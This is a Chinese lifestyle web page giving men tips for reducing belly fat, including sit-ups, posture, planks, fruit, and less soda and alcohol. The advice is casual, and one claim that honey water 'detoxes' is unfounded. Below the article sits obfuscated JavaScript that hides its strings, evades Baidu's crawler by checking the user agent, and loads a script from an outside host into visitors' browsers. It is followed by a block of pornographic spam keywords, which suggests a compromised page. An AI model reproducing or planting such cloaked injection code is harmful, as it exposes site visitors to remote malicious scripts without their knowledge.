當前位置:首頁 > 減肥 > 運動減肥 > 正文

男人做什么運動減肚子上的贅肉呢?

2017-01-15 22:27:00  來源:360常識網   熱度:
導語:我們看到的一些中年男性,十有八九都是大腹便便的將軍肚,平時走路的時候,也需要挺胸腆肚,看起來好像威風八面,其實就是一個典型的中年大

我們看到的一些中年男性,十有八九都是大腹便便的將軍肚,平時走路的時候,也需要挺胸腆肚,看起來好像威風八面,其實就是一個典型的中年大叔的樣子,英俊、瀟灑、帥、酷這些詞語統統不在適合形容了。這樣不但會影響到男人的形象,還會嚴重的危害到男人的健康。那么,應該怎么減肚子上的贅肉呢?

1. 每天堅持鍛煉

仰臥起坐,都會吧,看似簡單,其實對瘦肚子和練腹肌有很不錯的效果,每天堅持50個,沒有效果你來找我!

2. 挺腰直身端坐

解釋一下:就是坐姿要端正,抬頭挺直腰板,別弓著腰跟個老頭似的,這個要養成習慣,因為弓著腰脂肪容易堆積在肚子那一塊!

3. 給腹部按摩

給腹部做環形按摩,順時針逆時針都可以,早晚一次,堅持做,效果顯著

4. 平面直撐

其實這個是個瑜伽動作,但對腹肌和肱二頭肌的鍛煉效果都不錯,但是這個動作可不簡單哦,去試試你能堅持多長時間

還要在飲食上注意:

多吃水果

光靠鍛煉還不夠,還要注意自己的飲食,水果能夠補充足夠多的維生素,別以為水果只有妹子才可以吃!相信水果的好處大家都知道吧,我就不多說了!

少抽煙,少喝酒,少喝碳酸飲料,多喝白開水

我就想不明白,為什么那么多人喜歡喝碳酸飲料,那東西真是一點營養都沒有,還會對身體產生負擔,喝了最容易長肉,而且是虛胖!煙酒也要控制,男人在外應酬嘛,有時候也是沒辦法,多喝一點白開水或者加點蜂蜜,排毒的。

想要讓自己腰上的贅肉少一些,就要從兩個方面入手,一是要注意多運動,做一做有氧運動,再做一做力量訓練,并且能夠長時間的堅持,就可以讓身體更加的健康,讓脂肪進一步的減少,腰圍也就自然而然的小下來了。同時還要注意飲食的控制,多吃水果和蔬菜,少吃脂肪含量高的食物等。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品无码久久久久APP| 亚洲精品中文字幕无码蜜桃| 久久国产精品自由自在| 国产精品极品美女自在线| 久久se精品一区二区国产| 国产亚洲美女精品久久| 久久久久99精品成人片试看| 国产韩国精品一区二区三区| 国产精品久久久久久久久软件| 亚洲精品乱码久久久久久自慰| 国产精品理论电影| 精品不卡一区二区| 国产精品特级毛片一区二区三区| 国产精品先锋资源站先锋影院| 亚洲精品国产肉丝袜久久| 亚洲日韩一页精品发布| 国产精品白浆无码流出| 国产乱子精品免费视观看片| 好属妞这里只有精品久久| 亚洲精品无码久久久久AV麻豆| 亚洲精品日韩一区二区小说| 久久精品国产久精国产思思| 中文字幕精品一区| 亚洲?V乱码久久精品蜜桃| 国产精品亚洲一区二区在线观看| 91freevideos精品| 久久精品乱子伦免费| 中文字幕在线精品| 国产精品林美惠子在线观看| 亚洲午夜精品一区二区麻豆| 久久国产精品一国产精品金尊| 精品免费视在线观看| 久久99精品久久久久久9蜜桃| 精品剧情v国产在线麻豆| 亚洲精品视频免费在线观看| 人妻少妇乱子伦精品| 国产成人无码久久久精品一| 99国产精品久久久久久久成人热| 亚洲AV永久无码精品一区二区国产| 国产精品黄大片在线播放| 精品国产乱码一二三四区五区|